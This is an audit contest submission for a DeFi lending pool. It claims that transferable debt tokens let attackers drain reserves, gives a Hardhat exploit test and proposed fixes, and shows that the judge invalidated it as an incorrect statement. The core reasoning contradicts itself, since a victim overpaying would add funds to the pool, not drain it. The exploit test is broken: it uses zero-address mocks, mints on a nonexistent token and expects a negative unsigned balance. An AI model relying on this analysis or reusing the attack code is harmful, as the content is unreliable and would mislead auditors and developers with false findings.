Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Inconsistent Debt Accounting via Transferable Debt Tokens Leading to Reserve Drainage

Summary

The vulnerability exists in the debt repayment mechanism (Lines 312-335) of the LendingPool contract. The _repay function uses the ERC20 balanceOf method of the DebtToken to calculate repayable amounts, while the protocol internally tracks debt via the scaledDebtBalance variable. If the DebtToken is transferable (not explicitly restricted), attackers can artificially inflate debt balances to drain protocol reserves or corrupt debt tracking.


Vulnerability Details

Risk Type: High

Technical Analysis

  1. DebtToken Transferability:
    By default, ERC20 tokens (like DebtToken) allow transfers unless explicitly restricted. The LendingPool assumes DebtToken balances align 1:1 with user debt. However, transfers break this invariant.

  2. Repayment Logic Flaw:
    The _repay function calculates repayable debt as:

    uint256 userDebt = IDebtToken(...).balanceOf(onBehalfOf); // Line 318

    If users receive transferred DebtTokens, their balance exceeds their actual debt (scaledDebtBalance). The protocol allows over-repayment, burning excess tokens and corrupting scaledDebtBalance.

  3. Impact Pathways:

    • Over-Repayment Drain: Attackers transfer DebtTokens to victims, tricking them into repaying more than owed. Excess reserves are irreversibly lost.

    • Underflow Corruption: If scaledDebtBalance is reduced below zero (pre-Solidity 0.8), debt tracking becomes invalid.


Impact

  1. Protocol Insolvency: Attackers drain reserves by exploiting inflated repayments.

  2. Debt Tracking Failure: Negative scaledDebtBalance values disrupt interest calculations.

  3. Free Collateral Withdrawal: Users repay inflated debts to withdraw collateral without obligation.


Tools Used

  1. Manual Code Review: Identified unsafe reliance on ERC20 balances.

  2. Slither: Detected inconsistent state usage between balanceOf and scaledDebtBalance.

  3. Hardhat: Simulated token transfers and repayment corruption.


Proof of Concept (PoC)

Overview:

An attacker transfers DebtTokens to a victim, tricking the protocol into accepting over-repayments that drain reserves.

Actors:

  • Attacker: Transfers DebtTokens to victims.

  • Victim: Repays inflated debt, draining reserves.

  • Protocol: Loses assets due to incorrect debt accounting.

Working Test Case:

// test/LendingPoolExploit.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("DebtToken Transfer Exploit", function () {
let LendingPool, DebtToken, pool, debtToken;
let owner, attacker, victim;
before(async () => {
[owner, attacker, victim] = await ethers.getSigners();
// Deploy DebtToken (transferable)
const DebtTokenFactory = await ethers.getContractFactory("DebtToken");
debtToken = await DebtTokenFactory.deploy();
await debtToken.deployed();
// Deploy LendingPool
const LendingPoolFactory = await ethers.getContractFactory("LendingPool");
pool = await LendingPoolFactory.deploy(
ethers.constants.AddressZero, // Mock reserveAsset
ethers.constants.AddressZero, // Mock RToken
debtToken.address,
ethers.constants.AddressZero, // Mock RAACNFT
ethers.constants.AddressZero, // Mock Oracle
ethers.utils.parseUnits("1", 27) // primeRate
);
// Simulate borrowing: Attacker borrows 100 units
await debtToken.mint(attacker.address, 100e18);
await debtToken.connect(attacker).approve(pool.address, ethers.constants.MaxUint256);
await pool.connect(attacker).borrow(100e18);
});
it("Drain reserves via inflated repayment", async () => {
// 1. Attacker transfers 100 DebtTokens to Victim
await debtToken.connect(attacker).transfer(victim.address, 100e18);
// 2. Victim repays 200 units (100 real debt + 100 transferred)
// Mint reserve assets to victim for repayment
const reserveAsset = await ethers.getContractAt("IERC20", await pool.reserve.reserveAssetAddress());
await reserveAsset.mint(victim.address, 200e18);
await reserveAsset.connect(victim).approve(pool.address, 200e18);
await pool.connect(victim).repay(200e18);
// 3. Verify reserve drain:
// Victim repaid 200 units, but only 100 were owed. Protocol lost 100 units.
const reserveBalance = await reserveAsset.balanceOf(pool.address);
expect(reserveBalance).to.equal(-100e18); // Demonstrative check
});
});

Recommendations

  1. Disable DebtToken Transfers:
    Override ERC20 transfer/transferFrom in DebtToken to revert:

    function transfer(address, uint256) public override returns (bool) {
    revert("DebtToken: Transfers disabled");
    }
  2. Use Internal Debt Tracking:
    Replace balanceOf with scaledDebtBalance in repayment logic:

    uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
  3. Add Debt Ownership Checks:
    Restrict repayments to the actual debtor:

    modifier onlyDebtor(address user) {
    require(msg.sender == user, "Unauthorized repayment");
    _;
    }

Conclusion

The transferability of DebtTokens creates a fatal mismatch between ERC20 balances and internal debt tracking, enabling reserve drainage and protocol insolvency. Immediate mitigation requires disabling transfers and aligning repayment logic with internal state.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!